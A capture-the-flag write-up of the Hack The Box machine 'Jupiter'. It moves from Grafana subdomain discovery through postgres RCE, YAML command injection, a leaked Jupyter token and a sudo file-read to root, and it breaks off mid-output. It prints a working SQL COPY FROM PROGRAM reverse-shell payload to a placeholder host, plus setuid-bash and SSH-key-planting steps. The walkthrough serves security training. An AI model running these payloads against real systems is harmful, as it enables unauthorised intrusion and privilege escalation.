Jupiter

Table of Contents

Introduction


The Jupiter machine required us to perform subdomain enumeration on the target’s HTTP service to identify an exposed Grafana kiosk. Upon conducting a deeper analysis of the Grafana service, we discovered a datasource with an existing Remote Code Execution (RCE) vulnerability, which allowed us to establish an initial foothold on the target machine. Once we had gained a foothold, we observed that the Juno user was periodically executing commands sourced from a YAML file. By manipulating this YAML file, we managed to pivot to the ‘Juno’ user.

While examining the services running on the target machine and the open ports, we identified a service on 127.0.0.18888, which turned out to be a Jupyter instance. Accessing this service required authentication via a token. By reviewing the service logs, we uncovered the leaked token, granting us access to the Jupyter service. We leveraged the service to exploit a notebook, creating a reverse shell for ourselves under the jovian user.

Finally, we investigated the jovian user’s sudo commands and found that they could run the sattrack command without needing a password. This program reads files from a configuration file, enabling us to achieve arbitrary file reads as the root user.

Recon


The HTTP service has as its domain jupiter.htb, by changing the /etc/hosts file, we will be able to reach it.

sudo echo '<target-ip> jupiter.htb' >> /etc/hosts

nmap (TCP all ports)

nmap finds two open TCP ports, SSH (22) and a HTTP server (80):

$ nmap -sT -p- jupiter.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-02 08:16 WEST
Nmap scan report for jupiter.htb (10.129.229.15)
Host is up (0.047s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
    
Nmap done: 1 IP address (1 host up) scanned in 32.50 seconds
$

nmap (found TCP ports exploration)

$ nmap -sC -sV -p 22,80 jupiter.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-02 08:20 WEST
Nmap scan report for jupiter.htb (10.129.229.15)
Host is up (0.046s latency).
    
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Home | Jupiter
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds
$

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used: could not find image

Subdomain Enumeration

After enumerating the subdomains with the ffuf tool, we are able to discover a new service running within the HTTP service:

$ ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://jupiter.htb -H "Host: FUZZ.jupiter.htb" -fs 178
    
       /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
    
       v1.5.0
________________________________________________
    
 :: Method           : GET
 :: URL              : http://jupiter.htb
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Header           : Host: FUZZ.jupiter.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________
    
kiosk                   [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 89ms]
:: Progress: [26584/26584] :: Job [1/1] :: 787 req/sec :: Duration: [0:00:35] :: Errors: 1 ::
$ 

The service being run is an instance of Grafana: could not find image

Shell as postgres


Datasources

Grafana is a service that displays graphs about any type of data that is provided to it. One way to retrieve this data is through the making of queries to several services. In this case the query being done by the Grafana service is the following:

POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
content-type: application/json
x-dashboard-uid: jMgFGfA4z
x-datasource-uid: YItSLg-Vz
x-grafana-org-id: 1
x-panel-id: 24
x-plugin-id: postgres
Content-Length: 484
Origin: http://kiosk.jupiter.htb
DNT: 1
Connection: close

{
   "queries":[
      {
         "refId":"A",
         "datasource":{
            "type":"postgres",
            "uid":"YItSLg-Vz"
         },
         "rawSql":"select \n  name as \"Name\", \n  parent as \"Parent Planet\", \n  meaning as \"Name Meaning\" \nfrom \n  moons \nwhere \n  parent = 'Saturn' \norder by \n  name desc;",
         "format":"table",
         "datasourceId":1,
         "intervalMs":60000,
         "maxDataPoints":460
      }
   ],
   "range":{
      "from":"2023-07-02T01:28:08.072Z",
      "to":"2023-07-02T07:28:08.072Z",
      "raw":{
         "from":"now-6h",
         "to":"now"
      }
   },
   "from":"1688261288072",
   "to":"1688282888072"
}

We can see from the request that the query being made is a rawSql query and that the datasource is postgresql.

RCE

We can take advantage of the postgres datasource to achieve remote code execution due to CVE-2019-9193. To take advantage of this vulnerability we can use the payload as following:

POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
content-type: application/json
x-dashboard-uid: jMgFGfA4z
x-datasource-uid: YItSLg-Vz
x-grafana-org-id: 1
x-panel-id: 24
x-plugin-id: postgres
Content-Length: 484
Origin: http://kiosk.jupiter.htb
DNT: 1
Connection: close

{
   "queries":[
      {
         "refId":"A",
         "datasource":{
            "type":"postgres",
            "uid":"YItSLg-Vz"
         },
         "rawSql":"DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.X.X/9001 0>&1\"';",
         "format":"table",
         "datasourceId":1,
         "intervalMs":60000,
         "maxDataPoints":460
      }
   ],
   "range":{
      "from":"2023-07-02T01:28:08.072Z",
      "to":"2023-07-02T07:28:08.072Z",
      "raw":{
         "from":"now-6h",
         "to":"now"
      }
   },
   "from":"1688261288072",
   "to":"1688282888072"
}

By now using a listener in our attack machine with nc we get a reverse shell onto the target:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.229.15 33822
bash: cannot set terminal process group (1682): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ id
id
uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)
postgres@jupiter:/var/lib/postgresql/14/main$ 

Shell as juno


Processes

By checking what possesses are being executed with the help of the tool pspy, we can see the following processes:

postgres@jupiter:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2023/07/02 07:50:01 CMD: UID=0     PID=1      | /sbin/init 
2023/07/02 07:50:01 CMD: UID=1000  PID=2057   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/07/02 07:50:01 CMD: UID=1000  PID=2055   | /bin/bash /home/juno/shadow-simulation.sh 
2023/07/02 07:50:01 CMD: UID=1000  PID=2054   | /bin/sh -c /home/juno/shadow-simulation.sh 
2023/07/02 07:50:01 CMD: UID=1000  PID=2060   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/07/02 07:50:01 CMD: UID=1000  PID=2061   | lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/07/02 07:50:01 CMD: UID=1000  PID=2066   | /usr/bin/python3 -m http.server 80 
2023/07/02 07:50:02 CMD: UID=1000  PID=2068   | /usr/bin/curl -s server 
2023/07/02 07:50:02 CMD: UID=1000  PID=2070   | /usr/bin/curl -s server 
2023/07/02 07:50:02 CMD: UID=1000  PID=2072   | /usr/bin/curl -s server 
2023/07/02 07:50:02 CMD: UID=1000  PID=2077   | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/ 
2023/07/02 07:50:09 CMD: UID=114   PID=2078   | postgres: 14/main: autovacuum worker
<SNIP>
postgres@jupiter:/tmp$ 

An interesting one is this one:

2023/07/02 07:50:02 CMD: UID=1000  PID=2077   | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/

By checking closer what the .yml file has we can see the following content:

postgres@jupiter:/tmp$ cat  /dev/shm/network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s
postgres@jupiter:/tmp$

Command Injection

The program accepted commands and run them, The user that runs the commands isn’t our user but the user juno. We can therefore make a copy of the bash program as the user juno and change it’s permitions so that if any user runs that program the program will be run as the juno user. This can be achieved as follows:

postgres@jupiter:/tmp$ vim /dev/shm/network-simulation.yml 
postgres@jupiter:/tmp$ cat /dev/shm/network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/bash
      start_time: 5s
postgres@jupiter:/tmp$

Now if we run the program with the -p flag we can see that we have an effective user id as the user juno:

postgres@jupiter:/tmp$ ./bash -p
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
bash-5.1$ 

We can with this create a key, this will enable us to have full access to the machine as juno user. Firstly we generate the ssh key on our machine:

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pengrey/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/pengrey/.ssh/id_rsa
Your public key has been saved in /home/pengrey/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:SzXBwkFAtMJFCLIQ1LhQiLOVMQQgyXL0EdX8FLmoWlA pengrey@hacky
The key's randomart image is:
+---[RSA 3072]----+
|%XX+oBB*oooo     |
|X=+=.oE.= +.     |
|+=. +..  =o.     |
|..  ..  ..o.     |
|     . .S        |
|      o. .       |
|     o  .        |
|    .            |
|                 |
+----[SHA256]-----+
$

After generating the key we just need to copy it and put it into the juno’s authorized_keys folder:

bash-5.1$ wget http://10.10.xx.xx:8081/id_rsa.pub
--2023-07-02 08:20:47--  http://10.10.14.11:8081/id_rsa.pub
Connecting to 10.10.14.11:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 567 [application/vnd.exstream-package]
Saving to: ‘id_rsa.pub’

id_rsa.pub                     0%[                                               ]       0  --.-KB/s     id_rsa.pub                   100%[==============================================>]     567  --.-KB/s    in 0s      

2023-07-02 08:20:47 (23.5 MB/s) - ‘id_rsa.pub’ saved [567/567]

bash-5.1$ mv id_rsa.pub /home/juno/.ssh/authorized_keys 
bash-5.1$ 

Now if we ssh onto the machine we can see that we are indeed the user juno:

$ ssh -i id_rsa [email protected]
The authenticity of host 'jupiter.htb (10.129.229.15)' can't be established.
ED25519 key fingerprint is SHA256:Ew7jqugz1PCBr4+xKa3GVApxe+GlYwliOFLdMlqXWf8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'jupiter.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul  2 08:22:27 AM UTC 2023

  System load:           0.0
  Usage of /:            81.2% of 12.33GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             234
  Users logged in:       0
  IPv4 address for eth0: 10.129.229.15
  IPv6 address for eth0: dead:beef::250:56ff:fe96:dc77


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jun  7 15:13:15 2023 from 10.10.14.23
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
juno@jupiter:~$ 

Shell as jovian


Local Services

Now that we are the juno user, if we check the services being run with active ports we can see the following:

juno@jupiter:~$ netstat -nptl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
juno@jupiter:~$

One interesting process is the one using the port 8888. To see what is running on it we can forward it onto our machine with the help of SSH as follows:

$ ssh -i id_rsa -L 8888:127.0.0.1:8888 [email protected]
<SNIP>

Now if on our machine we go to the service address we can see that an intance of Jupyter is being run: could not find image

Token Leak

It is requesting a token to access it further. We can get this token by searching through the logs generated by it as follows:

juno@jupiter:/opt/solar-flares/logs$ grep "token" jupyter-2023-07-02-08.log
[I 07:08:50.328 NotebookApp] http://localhost:8888/?token=c502a648ba21f54feda5c9ae56087559be5e914cb956c17f
[I 07:08:50.328 NotebookApp]  or http://127.0.0.1:8888/?token=c502a648ba21f54feda5c9ae56087559be5e914cb956c17f
        http://localhost:8888/?token=c502a648ba21f54feda5c9ae56087559be5e914cb956c17f
     or http://127.0.0.1:8888/?token=c502a648ba21f54feda5c9ae56087559be5e914cb956c17f
juno@jupiter:/opt/solar-flares/logs$

After we provide the token we can see that we are able to access the notebooks being used: could not find image We can take advantage of service to try to get a reverse shell onto our machine. To do this we can create a new notebook and un a simple python reverse shell:

could not find image

Now if we retrieve the reverse shell on our target with the help of np we can see that the service was being run by the user jovian and therefore our shell is being run as the jovian user too:

pengrey@hacky:~/.ssh$ nc -lnvp 9002
Listening on 0.0.0.0 9002
Connection received on 10.129.229.15 33700
bash: cannot set terminal process group (3250): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jovian@jupiter:/opt/solar-flares$ id
id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:/opt/solar-flares$

Shell as root


Sudo commands

Previously we saw that the jovian user was also present within the sudo group. By further searching this by listing the sudo commands we are able to run we can see the following:

jovian@jupiter:/opt/solar-flares$ sudo -l
sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack
jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
jovian@jupiter:/opt/solar-flares$ 

As we can see a configuration file is needed to be able to run the program. We can try to get to know the configuration needed by doing the following:

jovian@jupiter:~$ strings /usr/local/bin/sattrack | grep -i config
strings /usr/local/bin/sattrack | grep -i config
/tmp/config.json
Configuration file has not been found. Please try again!
tleroot not defined in config
updatePerdiod not defined in config
station not defined in config
name not defined in config
lat not defined in config
lon not defined in config
hgt not defined in config
mapfile not defined in config
texturefile not defined in config
tlefile not defined in config
su_lib_log_config
_GLOBAL__sub_I__Z6configB5cxx11
_Z14validateConfigv
jovian@jupiter:~$

The binary references a /tmp/config.json file.

Now that we know the the name of the file we can just try to search all the machine for a similar configuration file:

jovian@jupiter:~$ find / -name config.json 2>/dev/null
find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
jovian@jupiter:~$ 

By copying it and inspecting it we can see the following:

jovian@jupiter:/tmp$ cp /usr/local/share/sattrack/config.json /tmp
jovian@jupiter:/tmp$ cat config.json
{
    "tleroot": "/tmp/tle/",
    "tlefile": "weather.txt",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",
    
    "tlesources": [
        "http://celestrak.org/NORAD/elements/weather.txt",
        "http://celestrak.org/NORAD/elements/noaa.txt",
        "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
    ],
    
    "updatePerdiod": 1000,
    
    "station": {
        "name": "LORCA",
        "lat": 37.6725,
        "lon": -1.5863,
        "hgt": 335.0
    },
    
    "show": [
    ],
    
    "columns": [
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
        "pos",
        "vel"
    ]
}
jovian@jupiter:/tmp$

By searching a bit we can see that the program is the open source program SatTrack witch loads a satellite TLE data from a file and parses the web sources from it.

Arbitrary read

Previously we saw the links for the tlesources being provided by the config file. We can try therefore instead of requesting a remote file, to request a local file. To do this we can change the config as follows:

jovian@jupiter:/tmp$nano config.json 
jovian@jupiter:/tmp$ cat config.json 
<SNIP>
        "file:///root/root.txt",
        "http://celestrak.org/NORAD/elements/noaa.txt",
        "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
<SNIP>
jovian@jupiter:/tmp$ 

Now if we run the binary again we can see that we are able to achieve arbitrary read as the root user:

jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 file:///root/root.txt
Get:1 http://celestrak.org/NORAD/elements/noaa.txt
Could not resolve host: celestrak.org
Get:1 http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle
Could not resolve host: celestrak.org
tlefile is not a valid file
jovian@jupiter:/tmp$ ls -la tle
total 12
drwxr-xr-x  2 root root 4096 Jul  2 09:00  .
drwxrwxrwt 17 root root 4096 Jul  2 09:00  ..
-rw-r--r--  1 root root    0 Jul  2 09:00 'gp.php?GROUP=starlink&FORMAT=tle'
-rw-r-